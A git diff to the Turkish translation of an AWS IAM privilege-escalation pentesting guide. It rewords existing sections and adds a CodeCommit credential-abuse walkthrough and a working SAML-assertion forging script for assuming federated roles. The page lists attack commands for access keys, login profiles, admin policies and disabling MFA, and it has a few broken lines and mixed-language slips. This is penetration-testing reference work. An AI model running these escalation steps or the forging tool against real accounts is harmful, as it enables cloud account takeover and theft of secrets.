diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md index 9ddee31b4..407bf1e36 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md @@ -12,42 +12,42 @@ IAM hakkında daha fazla bilgi için bakınız: ### **`iam:CreatePolicyVersion`** -Yeni bir IAM policy sürümü oluşturma yetkisi verir; `--set-as-default` bayrağını kullanarak `iam:SetDefaultPolicyVersion` iznine olan ihtiyacı atlar. Bu, özel izinler tanımlamaya olanak sağlar. +Yeni bir IAM policy sürümü oluşturma yetkisi verir; `--set-as-default` bayrağını kullanarak `iam:SetDefaultPolicyVersion` izninin gerekliliğini atlayabilirsiniz. Bu, özel izinler tanımlamayı mümkün kılar. **Exploit Command:** ```bash aws iam create-policy-version --policy-arn \ --policy-document file:///path/to/administrator/policy.json --set-as-default ``` -**Etkisi:** Herhangi bir kaynak üzerinde herhangi bir eyleme izin vererek doğrudan ayrıcalıkları yükseltir. +**Etkisi:** Herhangi bir kaynaktaki herhangi bir işlemi gerçekleştirmeye izin vererek doğrudan yetki yükseltir. ### **`iam:SetDefaultPolicyVersion`** -Varsayılan bir IAM politikasının sürümünü mevcut başka bir sürüme değiştirmeye izin verir; yeni sürüm daha fazla izin içeriyorsa potansiyel olarak ayrıcalıkları yükseltebilir. +Bir IAM politikasının varsayılan sürümünü başka bir mevcut sürüme değiştirmeye izin verir; yeni sürüm daha fazla izin içeriyorsa potansiyel olarak yetki yükseltmesine yol açabilir. **Bash Komutu:** ```bash aws iam set-default-policy-version --policy-arn --version-id v2 ``` -**Impact:** Dolaylı privilege escalation; daha fazla izin verilmesine olanak tanıyarak. +**Etkisi:** Daha fazla izin verilmesine olanak tanıyarak dolaylı ayrıcalık yükseltmesine yol açar. ### **`iam:CreateAccessKey`, (`iam:DeleteAccessKey`)** -Başka bir kullanıcı için access key ID ve secret access key oluşturulmasına izin verir; bu da potansiyel privilege escalation'a yol açabilir. +Başka bir kullanıcı için erişim anahtarı kimliği ve gizli erişim anahtarı oluşturulmasına izin verir; bu da potansiyel ayrıcalık yükseltmesine yol açar. **Exploit:** ```bash aws iam create-access-key --user-name ``` -**Impact:** Doğrudan privilege escalation — başka bir kullanıcının genişletilmiş izinlerini üstlenerek. +**Impact:** Başka bir kullanıcının genişletilmiş izinlerini üstlenerek doğrudan ayrıcalık yükseltme. -Bir kullanıcıya en fazla 2 access key oluşturulabileceğini unutmayın; bu nedenle eğer bir kullanıcıda zaten 2 access key varsa, yeni bir tane oluşturabilmek için bunlardan birini silme izni olan `iam:DeleteAccessKey` iznine ihtiyacınız olacaktır: +Bir kullanıcının yalnızca 2 erişim anahtarı oluşturabileceğini unutmayın; eğer bir kullanıcı zaten 2 erişim anahtarına sahipse, yeni bir tane oluşturabilmek için onlardan birini silmek amacıyla `iam:DeleteAccessKey` iznine ihtiyacınız olacaktır: ```bash aws iam delete-access-key --uaccess-key-id ``` ### **`iam:CreateVirtualMFADevice` + `iam:EnableMFADevice`** -Yeni bir sanal MFA cihazı oluşturup bunu başka bir kullanıcı için etkinleştirebiliyorsanız, o kullanıcı adına kendi MFA'nızı kaydederek ardından onların kimlik bilgileriyle MFA destekli bir oturum talep edebilirsiniz. +Eğer yeni bir sanal MFA cihazı oluşturup bunu başka bir kullanıcı için etkinleştirebiliyorsanız, o kullanıcı adına kendi MFA'nızı fiilen kaydedip ardından onların kimlik bilgileriyle MFA destekli bir oturum talep edebilirsiniz. **Exploit:** ```bash @@ -58,65 +58,91 @@ aws iam create-virtual-mfa-device --virtual-mfa-device-name aws iam enable-mfa-device --user-name --serial-number \ --authentication-code1 --authentication-code2 ``` -**Etkisi:** Bir kullanıcının MFA kaydını ele geçirerek doğrudan ayrıcalık yükseltme (ve ardından o kullanıcının izinlerini kullanma). +**Etkisi:** Bir kullanıcının MFA kaydını devralarak doğrudan ayrıcalık yükseltmesi (ve ardından onların izinlerini kullanma). ### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`** -Bir login profilinin oluşturulmasına veya güncellenmesine izin verir; AWS konsol girişi için parola ayarlamayı da içerebilir, bu da doğrudan ayrıcalık yükseltmeye yol açar. +Giriş profili oluşturma veya güncelleme izni verir; AWS konsol giriş şifrelerinin ayarlanması da dahil olmak üzere, bu doğrudan ayrıcalık yükseltmesine yol açar. **Oluşturma için Exploit:** ```bash aws iam create-login-profile --user-name target_user --no-password-reset-required \ --password '' ``` -**Exploit için Güncelleme:** +**Güncelleme için Exploit:** ```bash aws iam update-login-profile --user-name target_user --no-password-reset-required \ --password '' ``` -**Impact:** Doğrudan privilege escalation — herhangi bir kullanıcı olarak oturum açılarak. +**Impact:** Herhangi bir kullanıcı olarak giriş yaparak doğrudan ayrıcalık yükseltmesi. ### **`iam:UpdateAccessKey`** -Bir disabled access key'i etkinleştirmeye izin verir; bu, attacker'ın disabled key'e sahip olması durumunda unauthorized access'e yol açabilir. +Devre dışı bırakılmış bir access key'i etkinleştirmeye izin verir; eğer saldırgan devre dışı bırakılmış access key'e sahipse yetkisiz erişime yol açabilir. **Exploit:** ```bash aws iam update-access-key --access-key-id --status Active --user-name ``` -**Etkisi:** Doğrudan privilege escalation (access keys yeniden etkinleştirilerek). +**Etkisi:** Erişim anahtarlarını yeniden etkinleştirerek doğrudan ayrıcalık yükseltme. ### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`** -Belirli AWS servisleri için kimlik bilgileri oluşturulmasına veya sıfırlanmasına (örn., CodeCommit, Amazon Keyspaces) izin verir; oluşturulan/yenilenen kimlik bilgileri ilişkili kullanıcının izinlerini devralır. +Belirli AWS servisleri için (çoğunlukla **CodeCommit**) kimlik bilgileri oluşturmayı veya sıfırlamayı sağlar. Bunlar **değildir** AWS API keys: bunlar belirli bir servis için **kullanıcı adı/parola** kimlik bilgileridir ve yalnızca o servisin kabul ettiği yerlerde kullanabilirsiniz. -**Exploit for Creation:** +**Oluşturma:** ```bash -aws iam create-service-specific-credential --user-name --service-name +aws iam create-service-specific-credential --user-name --service-name codecommit.amazonaws.com ``` -**Reset için Exploit:** +Kaydet: + +- `ServiceSpecificCredential.ServiceUserName` +- `ServiceSpecificCredential.ServicePassword` + +**Örnek:** +```bash +# Find a repository you can access as the target +aws codecommit list-repositories + +export REPO_NAME="" +export AWS_REGION="us-east-1" # adjust if needed + +# Git URL (HTTPS) +export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${REPO_NAME}" + +# Clone and use the ServiceUserName/ServicePassword when prompted +git clone "$CLONE_URL" +cd "$REPO_NAME" +``` +> Not: Servis parolası genellikle `+`, `/` ve `=` gibi karakterler içerir. Etkileşimli prompt kullanmak genellikle en kolay yoldur. Eğer bunu bir URL'ye gömüyorsanız, önce URL kodlayın. + +Bu noktada hedef kullanıcının CodeCommit'te erişebildiği her şeyi okuyabilirsiniz (ör. leaked credentials file). Eğer repodan **AWS access keys** elde ederseniz, bu anahtarlarla yeni bir AWS CLI profile yapılandırın ve sonra kaynaklara erişin (örneğin, Secrets Manager'dan bir flag okuyun): +```bash +aws secretsmanager get-secret-value --secret-id --profile +``` +**Sıfırlama:** ```bash aws iam reset-service-specific-credential --service-specific-credential-id ``` -**Etkisi:** Kullanıcının servis izinleri içinde doğrudan ayrıcalık yükseltme. +**Etkisi:** Hedef kullanıcının ilgili servis için izinlerine ayrıcalık yükseltme (ve eğer bu servisten elde edilen verilerle pivot yaparsanız potansiyel olarak daha fazlası). ### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`** -Kullanıcılara veya gruplara policy eklemeye izin verir; eklenen policy'nin izinlerini devralarak doğrudan ayrıcalıkları yükseltir. +Kullanıcılara veya gruplara politika eklemeye izin verir; eklenen politikanın izinlerini devralarak doğrudan ayrıcalık yükseltir. -**Kullanıcı için Exploit:** +**Exploit for User:** ```bash aws iam attach-user-policy --user-name --policy-arn "" ``` -**Exploit için Grup:** +**Grup için Exploit:** ```bash aws iam attach-group-policy --group-name --policy-arn "" ``` -**Etkisi:** Direct privilege escalation to anything the policy grants. +**Impact:** Politikanın verdiği herhangi bir şeye doğrudan privilege escalation. ### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`** -Rollere, kullanıcılara veya gruplara policies iliştirme veya ekleme izni verir; bu, ek izinler vererek doğrudan privilege escalation'a yol açar. +Rollere, kullanıcılara veya gruplara politika iliştirme veya ekleme izni verir; ek izinler vererek doğrudan privilege escalation'e olanak tanır. **Exploit for Role:** ```bash @@ -133,7 +159,7 @@ aws iam put-group-policy --group-name --policy-name "" aws iam put-role-policy --role-name --policy-name "" \ --policy-document file:///path/to/policy.json ``` -Şöyle bir politika kullanabilirsiniz: +Aşağıdaki gibi bir politika kullanabilirsiniz: ```json { "Version": "2012-10-17", @@ -146,28 +172,28 @@ aws iam put-role-policy --role-name --policy-name "" \ ] } ``` -**Impact:** Politikalar aracılığıyla izin ekleyerek doğrudan ayrıcalık yükseltme. +**Etkisi:** Politikalar aracılığıyla izin ekleyerek doğrudan ayrıcalık yükseltme. ### **`iam:AddUserToGroup`** -Kendini bir IAM grubuna eklemeyi sağlar; grubun izinlerini devralarak ayrıcalıkları yükseltir. +Kendini bir IAM grubuna eklemeyi mümkün kılar; grubun izinlerini devralarak ayrıcalıkları yükseltir. **Exploit:** ```bash aws iam add-user-to-group --group-name --user-name ``` -**Etkisi:** Grubun izinleri düzeyine doğrudan ayrıcalık yükseltme. +**Etkisi:** Doğrudan grubun izin seviyesine kadar ayrıcalık yükseltmesi. ### **`iam:UpdateAssumeRolePolicy`** -Bir rolün assume role policy belgesini değiştirmeye izin verir; bu, rolün ve ilişkili izinlerinin üstlenilmesini sağlar. +Bir rolün assume role policy document'ını değiştirmeye izin verir; bu, rolün üstlenilmesine ve rolün ilişkili izinlerinin kullanılmasına olanak tanır. -**Sömürme:** +**Exploit:** ```bash aws iam update-assume-role-policy --role-name \ --policy-document file:///path/to/assume/role/policy.json ``` -Politika aşağıdaki gibi olduğunda, bu kullanıcıya rolü üstlenme izni verir: +Politika aşağıdaki gibi olduğunda, bu kullanıcıya assume the role izni verir: ```json { "Version": "2012-10-17", @@ -182,38 +208,38 @@ Politika aşağıdaki gibi olduğunda, bu kullanıcıya rolü üstlenme izni ver ] } ``` -**Etkisi:** Herhangi bir rolün izinlerini üstlenerek doğrudan ayrıcalık yükseltmesi. +**Etkisi:** Herhangi bir rolün izinlerini üstlenerek doğrudan ayrıcalık yükseltme. ### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`** -CodeCommit için kimlik doğrulamada kullanılacak bir SSH public key yüklemeye ve MFA cihazlarını devre dışı bırakmaya izin verir; bu da potansiyel olarak dolaylı ayrıcalık yükseltmesine yol açabilir. +CodeCommit'e kimlik doğrulamak için SSH genel anahtarı yüklemeye ve MFA cihazlarını devre dışı bırakmaya izin verir; bu da potansiyel olarak dolaylı ayrıcalık yükselmesine yol açabilir. **Exploit for SSH Key Upload:** ```bash aws iam upload-ssh-public-key --user-name --ssh-public-key-body ``` -**Exploit ile MFA Devre Dışı Bırakma:** +**MFA Devre Dışı Bırakma için Exploit:** ```bash aws iam deactivate-mfa-device --user-name --serial-number ``` -**Impact:** CodeCommit erişimini etkinleştirerek veya MFA korumasını devre dışı bırakarak dolaylı ayrıcalık yükseltme. +**Etkisi:** CodeCommit erişimini etkinleştirerek veya MFA korumasını devre dışı bırakarak dolaylı ayrıcalık yükselmesi. ### **`iam:ResyncMFADevice`** -Bir MFA cihazının yeniden senkronizasyonuna izin verir; MFA korumasının manipüle edilmesiyle dolaylı ayrıcalık yükseltmesine yol açabilir. +Bir MFA cihazının yeniden senkronizasyonuna izin verir; MFA korumasını manipüle ederek dolaylı ayrıcalık yükselmesine yol açabilir. -**Bash Command:** +**Bash Komutu:** ```bash aws iam resync-mfa-device --user-name --serial-number \ --authentication-code1 --authentication-code2 ``` -**Etkisi:** Dolaylı privilege escalation by adding or manipulating MFA devices. +**Impact:** Dolaylı ayrıcalık yükseltme — MFA cihazlarını ekleyerek veya manipüle ederek. ### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`) -Bu izinlerle **SAML bağlantısının XML metadata'sını değiştirebilirsiniz**. Daha sonra, **SAML federation**'ı suistimal ederek ona güvenen herhangi bir **role** ile **login** yapabilirsiniz. +Bu izinlerle **SAML bağlantısının XML metadata'sını değiştirebilirsiniz**. Sonra, **SAML federation**'ı suistimal ederek **ona güvenen herhangi bir role** **login** olabilirsiniz. -Bu işlemi yaptığınızda **legit users won't be able to login**. Ancak XML'i alabilirseniz, kendi XML'inizi koyup **login** olarak önceki yapılandırmayı geri getirebilirsiniz. +Dikkat: bunu yaptığınızda **legit users won't be able to login**. Ancak XML'i elde edebilirsiniz; kendi XML'inizi koyup **login** olarak önceki durumu geri yapılandırabilirsiniz. ```bash # List SAMLs aws iam list-saml-providers @@ -229,12 +255,258 @@ aws iam update-saml-provider --saml-metadata-document --saml-provider-ar # Optional: Set the previous XML back aws iam update-saml-provider --saml-metadata-document --saml-provider-arn ``` -> [!NOTE] -> TODO: Belirli bir role giriş yapabilen SAML metadata'sını oluşturabilen bir araç +**Uçtan uca saldırı:** + +1. SAML provider'ını ve ona güvenen bir role'ü listeleyin: +```bash +export AWS_REGION=${AWS_REGION:-us-east-1} + +aws iam list-saml-providers +export PROVIDER_ARN="arn:aws:iam:::saml-provider/" + +# Backup current metadata so you can restore it later: +aws iam get-saml-provider --saml-provider-arn "$PROVIDER_ARN" > /tmp/saml-provider-backup.json + +# Find candidate roles and inspect their trust policy to confirm they allow sts:AssumeRoleWithSAML: +aws iam list-roles | grep -i saml || true +aws iam get-role --role-name "" +export ROLE_ARN="arn:aws:iam:::role/" +``` +2. IdP metadata + role/provider çiftine yönelik imzalı bir SAML assertion oluştur: +```bash +python3 -m venv /tmp/saml-federation-venv +source /tmp/saml-federation-venv/bin/activate +pip install lxml signxml + +# Create /tmp/saml_forge.py from the expandable below first: +python3 /tmp/saml_forge.py --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" > /tmp/saml-forge.json +python3 - <<'PY' +import json +j=json.load(open("/tmp/saml-forge.json","r")) +open("/tmp/saml-metadata.xml","w").write(j["metadata_xml"]) +open("/tmp/saml-assertion.b64","w").write(j["assertion_b64"]) +print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64") +PY +``` +
+Açılabilir: /tmp/saml_forge.py yardımcı (metadata + imzalı assertion) +```python +#!/usr/bin/env python3 +from __future__ import annotations + +import argparse +import base64 +import datetime as dt +import json +import os +import subprocess +import tempfile +import uuid + +from lxml import etree +from signxml import XMLSigner, methods + + +def _run(cmd: list[str]) -> str: +p = subprocess.run(cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) +return p.stdout + + +def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]: +key_path = os.path.join(tmpdir, "key.pem") +cert_path = os.path.join(tmpdir, "cert.pem") +_run( +[ +"openssl", +"req", +"-x509", +"-newkey", +"rsa:2048", +"-keyout", +key_path, +"-out", +cert_path, +"-days", +"3650", +"-nodes", +"-subj", +"/CN=attacker-idp", +] +) +return key_path, cert_path + + +def _pem_cert_to_b64(cert_pem: str) -> str: +lines: list[str] = [] +for line in cert_pem.splitlines(): +if "BEGIN CERTIFICATE" in line or "END CERTIFICATE" in line: +continue +line = line.strip() +if line: +lines.append(line) +return "".join(lines) + + +def make_metadata_xml(cert_b64: str) -> str: +return f""" + + + + + +{cert_b64} + + + + + + +""" + + +def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, cert_pem: str) -> bytes: +ns = { +"saml2p": "urn:oasis:names:tc:SAML:2.0:protocol", +"saml2": "urn:oasis:names:tc:SAML:2.0:assertion", +} + +issue_instant = dt.datetime.now(dt.timezone.utc) +not_before = issue_instant - dt.timedelta(minutes=2) +not_on_or_after = issue_instant + dt.timedelta(minutes=10) + +resp_id = "_" + str(uuid.uuid4()) +assertion_id = "_" + str(uuid.uuid4()) + +response = etree.Element(etree.QName(ns["saml2p"], "Response"), nsmap=ns) +response.set("ID", resp_id) +response.set("Version", "2.0") +response.set("IssueInstant", issue_instant.isoformat()) +response.set("Destination", "https://signin.aws.amazon.com/saml") + +issuer = etree.SubElement(response, etree.QName(ns["saml2"], "Issuer")) +issuer.text = "https://attacker.invalid/idp" + +status = etree.SubElement(response, etree.QName(ns["saml2p"], "Status")) +status_code = etree.SubElement(status, etree.QName(ns["saml2p"], "StatusCode")) +status_code.set("Value", "urn:oasis:names:tc:SAML:2.0:status:Success") + +assertion = etree.SubElement(response, etree.QName(ns["saml2"], "Assertion")) +assertion.set("ID", assertion_id) +assertion.set("Version", "2.0") +assertion.set("IssueInstant", issue_instant.isoformat()) + +a_issuer = etree.SubElement(assertion, etree.QName(ns["saml2"], "Issuer")) +a_issuer.text = "https://attacker.invalid/idp" + +subject = etree.SubElement(assertion, etree.QName(ns["saml2"], "Subject")) +name_id = etree.SubElement(subject, etree.QName(ns["saml2"], "NameID")) +name_id.set("Format", "urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified") +name_id.text = "attacker" + +subject_conf = etree.SubElement(subject, etree.QName(ns["saml2"], "SubjectConfirmation")) +subject_conf.set("Method", "urn:oasis:names:tc:SAML:2.0:cm:bearer") +subject_conf_data = etree.SubElement(subject_conf, etree.QName(ns["saml2"], "SubjectConfirmationData")) +subject_conf_data.set("NotOnOrAfter", not_on_or_after.isoformat()) +subject_conf_data.set("Recipient", "https://signin.aws.amazon.com/saml") + +conditions = etree.SubElement(assertion, etree.QName(ns["saml2"], "Conditions")) +conditions.set("NotBefore", not_before.isoformat()) +conditions.set("NotOnOrAfter", not_on_or_after.isoformat()) + +audience_restriction = etree.SubElement(conditions, etree.QName(ns["saml2"], "AudienceRestriction")) +audience = etree.SubElement(audience_restriction, etree.QName(ns["saml2"], "Audience")) +audience.text = "https://signin.aws.amazon.com/saml" + +attr_stmt = etree.SubElement(assertion, etree.QName(ns["saml2"], "AttributeStatement")) + +attr_role = etree.SubElement(attr_stmt, etree.QName(ns["saml2"], "Attribute")) +attr_role.set("Name", "https://aws.amazon.com/SAML/Attributes/Role") +attr_role_value = etree.SubElement(attr_role, etree.QName(ns["saml2"], "AttributeValue")) +attr_role_value.text = f"{role_arn},{principal_arn}" + +attr_session = etree.SubElement(attr_stmt, etree.QName(ns["saml2"], "Attribute")) +attr_session.set("Name", "https://aws.amazon.com/SAML/Attributes/RoleSessionName") +attr_session_value = etree.SubElement(attr_session, etree.QName(ns["saml2"], "AttributeValue")) +attr_session_value.text = "saml-session" + +key_bytes = open(key_pem, "rb").read() +cert_bytes = open(cert_pem, "rb").read() + +signer = XMLSigner( +method=methods.enveloped, +signature_algorithm="rsa-sha256", +digest_algorithm="sha256", +c14n_algorithm="http://www.w3.org/2001/10/xml-exc-c14n#", +) +signed_assertion = signer.sign( +assertion, +key=key_bytes, +cert=cert_bytes, +reference_uri=f"#{assertion_id}", +id_attribute="ID", +) + +response.remove(assertion) +response.append(signed_assertion) + +return etree.tostring(response, xml_declaration=True, encoding="utf-8") + + +def main() -> None: +ap = argparse.ArgumentParser() +ap.add_argument("--role-arn", required=True) +ap.add_argument("--principal-arn", required=True) +args = ap.parse_args() + +with tempfile.TemporaryDirectory() as tmp: +key_path, cert_path = _openssl_make_key_and_cert(tmp) +cert_pem = open(cert_path, "r", encoding="utf-8").read() +cert_b64 = _pem_cert_to_b64(cert_pem) + +metadata_xml = make_metadata_xml(cert_b64) +saml_xml = make_signed_saml_response(args.role_arn, args.principal_arn, key_path, cert_path) +saml_b64 = base64.b64encode(saml_xml).decode("ascii") + +print(json.dumps({"metadata_xml": metadata_xml, "assertion_b64": saml_b64})) + + +if __name__ == "__main__": +main() +``` +
+ +3. SAML provider metadata'yi IdP sertifikanıza güncelleyin, rolü üstlenin ve döndürülen STS kimlik bilgilerini kullanın: +```bash +aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \ +--saml-metadata-document file:///tmp/saml-metadata.xml + +# Assertion is base64 and can be long. Keep it on one line: +ASSERTION_B64=$(tr -d '\n' [!WARNING] +> SAML provider metadata güncellemesi kesintiye neden olur: metadata yerinde olduğu sürece meşru SSO kullanıcıları kimlik doğrulaması yapamayabilir. ### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**) -(Kesin değil) Eğer bir saldırganın bu **izinleri** varsa, sağlayıcıya güvenen tüm rollere giriş yapabilmek için yeni bir **Thumbprint** ekleyebilir. +(Bundan emin değilim) Eğer bir saldırganın bu **izinlere** sahip olması durumunda, sağlayıcıya güvenen tüm rollere giriş yapabilmek için yeni bir **Thumbprint** ekleyebilir. ```bash # List providers aws iam list-open-id-connect-providers @@ -245,7 +517,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar ``` ### `iam:PutUserPermissionsBoundary` -Bu izin, bir saldırganın bir kullanıcının permissions boundary'sini güncellemesine olanak verir ve böylece mevcut izinlerle normalde kısıtlanan eylemleri gerçekleştirmesine izin vererek ayrıcalıklarını yükseltebilir. +Bu permission, bir attacker'ın bir kullanıcının permissions boundary'sini güncellemesine izin verir; bu, mevcut izinleriyle normalde kısıtlı olan eylemleri gerçekleştirmesine izin vererek privileges'larının escalating olmasına neden olabilir. ```bash aws iam put-user-permissions-boundary \ --user-name \ @@ -268,13 +540,13 @@ Un ejemplo de una política que no aplica ninguna restricción es: ``` ### `iam:PutRolePermissionsBoundary` -iam:PutRolePermissionsBoundary iznine sahip bir aktör, mevcut bir role izin sınırı atayabilir. Risk, bu izne sahip birinin rolün sınırını değiştirmesiyle ortaya çıkar: işlemleri uygunsuz şekilde kısıtlayabilirler (hizmet aksamasına neden olarak) veya daha izin verici bir sınır eklerlerse rolün yapabileceklerini fiilen genişleterek ayrıcalıkları yükseltebilirler. +`iam:PutRolePermissionsBoundary` iznine sahip bir aktör mevcut bir role bir permissions boundary (izin sınırı) atayabilir. Risk, bu izne sahip birinin bir rolün sınırını değiştirdiğinde ortaya çıkar: işlemleri uygunsuz şekilde kısıtlayarak hizmet kesintisine neden olabilirler veya daha izin verici bir sınır eklerlerse rolün yapabileceklerini fiilen genişleterek ayrıcalıkları yükseltebilirler. ```bash aws iam put-role-permissions-boundary \ --role-name \ --permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy ``` -## Kaynaklar +## Referanslar - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)